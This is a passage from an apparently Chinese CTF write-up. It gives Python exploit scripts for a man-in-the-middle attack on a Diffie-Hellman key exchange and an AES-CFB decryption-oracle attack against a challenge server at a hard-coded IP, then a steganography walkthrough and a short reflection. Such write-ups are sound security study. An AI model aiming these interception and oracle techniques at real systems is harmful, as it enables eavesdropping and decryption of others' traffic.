print 'tail{' + tail + '}'
print '_hexdigest{' + _hexdigest + '}'

for x in generateXXXX():
h = sha256(x+tail).hexdigest()
if h == _hexdigest:
print 'XXXX{' + x + '}'
io.sendline(x)
break

print io.recvuntil('first.\n'),

# get p g
io.send('\n')
for i in range(4):
print io.recvline(),

data = io.recvline()
print '{%s}' % data
p = int(data.strip().replace('Alice: p = ', ''))
print 'p=%d' % p

data = io.recvline()
print '{%s}' % data
g = int(data.strip().replace('Alice: g = ', ''))
print 'g=%d' % g

# 生成自己的公钥和私钥
my_private_key = randint(2, p-1)
my_public_key = pow(g, my_private_key, p)

io.send('\n')
for i in range(7):
print io.recvline(),

# replace A with my_public_key
io.send('\n')
for i in range(3):
print io.recvline(),

data = io.recvline()
print '{%s}' % data
A = int(data.strip().replace('[WARNING] : A = ', ''))
print 'A=%d' % A

# 生成真正的解密和加密的密钥
KA = pow(A, my_private_key, p) # 扮演B,与A通信

print io.recvuntil('this message? (yes/no)\n>'),
io.sendline('yes')
print io.recvuntil('number\n>'),
io.sendline(str(my_public_key))
print io.recvline(),

# replace B with my_public_key
io.send('\n')
for i in range(3):
print io.recvline(),

data = io.recvline()
print '{%s}' % data
B = int(data.strip().replace('[WARNING] : B = ', ''))
print 'B=%d' % B

KB = pow(B, my_private_key, p) # 扮演A,与B通信

print io.recvuntil('this message? (yes/no)\n>'),
io.sendline('yes')
print io.recvuntil('number\n>'),
io.sendline(str(my_public_key))
print io.recvline(),


io.send('\n')
print io.recvuntil('same key?\n'),
io.send('\n')
print io.recvuntil('encrypted flag!\n'),
io.send('\n')
print io.recvuntil('`C_b = (m * S_b) % p`\n')

# get C_b
io.send('\n')
for i in range(2):
print io.recvline(),

data = io.recvline()
print '{%s}' % data

C_b = int(data.strip().replace('[WARNING] : C_b = ', ''))
print 'C_b=%d' % C_b

# replace C_b
raw_b = (gmpy2.invert(KB, p) * C_b) % p # 用KB解密
encrypt_b = (raw_b * KA) % p # 用KA加密,发给A

print 'raw_b=%d' % raw_b

print io.recvuntil('(yes/no)\n>'),
io.sendline('yes')
print io.recvuntil('number\n>')
io.sendline(str(encrypt_b))

# get C_a
print io.recvuntil('I get the flag.\n'),
data = io.recvline()

print '{%s}' % data
C_a = int(data.strip().replace('Alice: C_a = ', ''))
raw_a = (gmpy2.invert(KA, p) * C_a) % p # 解密A发来的数据


# print flag

flag1 = number.long_to_bytes(raw_a)
flag2 = number.long_to_bytes(raw_b)

print flag1+flag2

Feedback

题目讲了,是AES的CFB加密模式,可以参考一下这篇文章:https://blog.csdn.net/chengqiuming/article/details/82355772

基本思路就是,任何数与零异或都是它本身。可以通过传入一整个分组0,从而解密的时候,得到的就是用来异或的密钥,flag一共三个分组,逐步获取每一个部分即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/python
#coding=utf8

from pwn import *
from sys import exit

def xor(s1, s2):
return ''.join([ chr(ord(c1) ^ ord(c2)) for c1,c2 in zip(s1, s2)])

def get_part(now_flag):
io = remote('47.98.192.231', 25147)
count = len(now_flag) // 16 # 已经接出多少个分组

# get key
cipher = ''
for i in range(count+1):
payload = cipher.encode('hex') + '00' * 16
io.sendlineafter('decrypt\n> ', payload)
key = io.recvline().strip().decode('hex')[i*16:i*16+16]
cipher += xor(key, now_flag[i*16:i*16+16])

# 剩余的次数
for i in range(2-count):
io.sendline('00'*16)

io.recvuntil('Here is your encrypted FLAG(hex): ')
enc_part = io.recvline().strip().decode('hex')[count*16:count*16+16]
io.close()
return xor(enc_part, key)

flag = ''
for i in range(3):
flag += get_part(flag)

print flag

Misc

三重隐写

首先有三个音频:Unlasting.mp3You know LSB.wav上裏与手抄卷.mp3

第二个音频,从名字可以看出是LSB隐写,可以用slienteye工具获取隐写的信息:

1

然后用这个key,用Mp3Stego工具提取第三个音频里的信息:

decode -X -P uFSARLVNwVIewCY5 上裏与手抄卷.mp3

得到

3

然后用这个密码解出压缩包,用题目给的工具打开,需要密码,密码只能在第一个音频里了。

kali用foremost命令从这个音频里分离出一个图片,长这个样子:

4

出题人给了个hint:”你坐过飞机吗?“,巧了,没有。。。然后出题人说这也是一种码,那就可以扫咯(微信扫可以识别,但扫不出东西),经过百度发现,这个貌似叫pdf417码。找了好久的识别网站,终于找到一个可以识别https://demo.dynamsoft.com/DBR/BarcodeReaderDemo.aspx

识别如下:

2

得到解密密钥,解密出flag.txt文件,里面即flag


总结

本周必需得总结一下,学了比较多(但同时也摸了比较多鱼),这周只ak了pwn(也只能akpwn了)。

方向是pwn,总是先做出的题是web,这周也不例外。

啃了一大波heap的资料后,才开始陆续解出pwn题,pwn是真的爽!

Re一如既往地看着汇编蒙圈

起码这次Crypto不是套公式了,因为ToyCipher_XorShift这题主要还是位运算,还是比较好做的(而且还发现我对python的strip这个函数误解很深)

(misc脑洞好大~)